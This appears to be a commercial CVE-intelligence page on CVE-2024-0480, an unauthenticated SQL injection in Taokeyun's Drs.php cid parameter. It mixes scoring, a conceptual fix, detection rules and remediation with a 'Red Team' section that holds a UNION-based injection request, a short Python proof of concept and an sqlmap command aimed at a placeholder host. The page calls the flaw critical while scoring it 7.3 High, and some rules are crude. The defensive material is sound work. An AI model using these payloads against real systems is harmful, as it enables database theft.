☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0480

CVE-2024-0480 SQL Injection in Taokeyun
📅 PUBLISHED: 2024-01-13 07:31 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.5× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 1.0.5
CVSS VECTOR BREAKDOWN 7.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: L Integrity Low
A: L Availability Low
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0480 is a critical SQL injection vulnerability discovered in the Taokeyun application, affecting versions up to and including 1.0.5. The flaw resides in the index function of the /application/index/controller/m/Drs.php file, where the cid parameter is improperly sanitized before being used in a database query. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or further compromise of the underlying server. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available, making immediate mitigation measures essential.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.3 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full database read access possible.
  • Integrity Impact: Low (I:L) – Limited data modification possible.
  • Availability Impact: Low (A:L) – Potential for denial of service via SQL injection.

Threat Level: Critical due to public exploit availability, no patch, and ease of exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the index method of Drs.php. The cid parameter is taken directly from the HTTP POST request and concatenated into a SQL query without proper sanitization or parameterized queries. This allows an attacker to inject arbitrary SQL commands.

Vulnerable Code Snippet (Conceptual):

// application/index/controller/m/Drs.php
public function index() {
    $cid = $_POST['cid'];
    $sql = "SELECT * FROM drs WHERE cid = $cid"; // Direct concatenation
    $result = db_query($sql);
    // ...
}

Attack Vector: An attacker sends a POST request to the vulnerable endpoint with a malicious cid value. For example:

POST /index.php?m=Drs&a=index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cid=1 UNION SELECT username,password FROM users--

This would append the UNION query to the original SELECT, potentially returning sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Taokeyun <= 1.0.5):

$cid = $_POST['cid'];
$sql = "SELECT * FROM drs WHERE cid = $cid";
$result = db_query($sql);

Patched Code (Hypothetical):

$cid = intval($_POST['cid']); // Cast to integer
$sql = "SELECT * FROM drs WHERE cid = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param("i", $cid);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses parameterized queries (prepared statements) and input validation to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Exploit Proof-of-Concept (Python):

import requests

target = "http://target.com/index.php?m=Drs&a=index"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
data = {"cid": payload}

response = requests.post(target, data=data)
print(response.text)

Manual Exploitation with SQLMap:

sqlmap -u "http://target.com/index.php?m=Drs&a=index" --data="cid=1" --batch --dbs

Lab Setup:

  1. Deploy a vulnerable Taokeyun instance (version 1.0.5) using Docker or a local PHP environment.
  2. Ensure the application is accessible via HTTP.
  3. Use the provided PoC or SQLMap to test the injection.

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for suspicious POST requests to /index.php?m=Drs&a=index with unusual cid parameters (e.g., containing SQL keywords like UNION, SELECT, OR).
  2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  3. Implement input validation and parameterized queries in the application code.

Honeypot Strategy:

  • Create a fake endpoint mimicking the vulnerable Drs.php to capture attacker payloads.
  • Log all POST data for analysis.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /index.php?m=Drs&a=index with cid parameter containing SQL keywords.
    • Outbound database connections from the web server to unexpected IPs (data exfiltration).
  • File IOCs:
    • Modified Drs.php file (if attacker uploads a webshell).
    • Suspicious files in the /application/index/controller/m/ directory.
  • Log IOCs:
    • Database error logs showing SQL syntax errors.
    • Web server access logs with cid=1 UNION SELECT patterns.

Detection Engineering

YARA Rule

rule CVE_2024_0480_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Taokeyun CVE-2024-0480"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0480"
    strings:
        $s1 = "cid=" ascii wide nocase
        $s2 = "UNION" ascii wide nocase
        $s3 = "SELECT" ascii wide nocase
        $s4 = "OR" ascii wide nocase
        $s5 = "1=1" ascii wide nocase
    condition:
        all of ($s*) and #s1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against Taokeyun CVE-2024-0480
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the cid parameter in Taokeyun Drs.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'm=Drs&a=index'
        cs-uri-post: 'cid=*'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR'
        - '1=1'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in non-malicious context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0480 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php?m=Drs&a=index"; http_uri; content:"cid="; http_client_body; pcre:"/(UNION|SELECT|OR|1=1|--)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint if not required: Block access to /index.php?m=Drs&a=index via web server configuration.
  2. Apply virtual patching using a WAF to block SQL injection patterns.
  3. Upgrade to a patched version if/when available. Monitor the vendor's website for updates.

Long-Term Fixes:

  1. Code Review: Implement parameterized queries (prepared statements) for all database interactions.
  2. Input Validation: Validate and sanitize all user inputs, especially numeric fields.
  3. Least Privilege: Ensure the database user used by the application has minimal permissions (e.g., read-only where possible).

Workaround:

  • Modify the Drs.php file to cast cid to an integer: $cid = intval($_POST['cid']);

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

taokeyun
Taokeyun drs.php

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0480/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.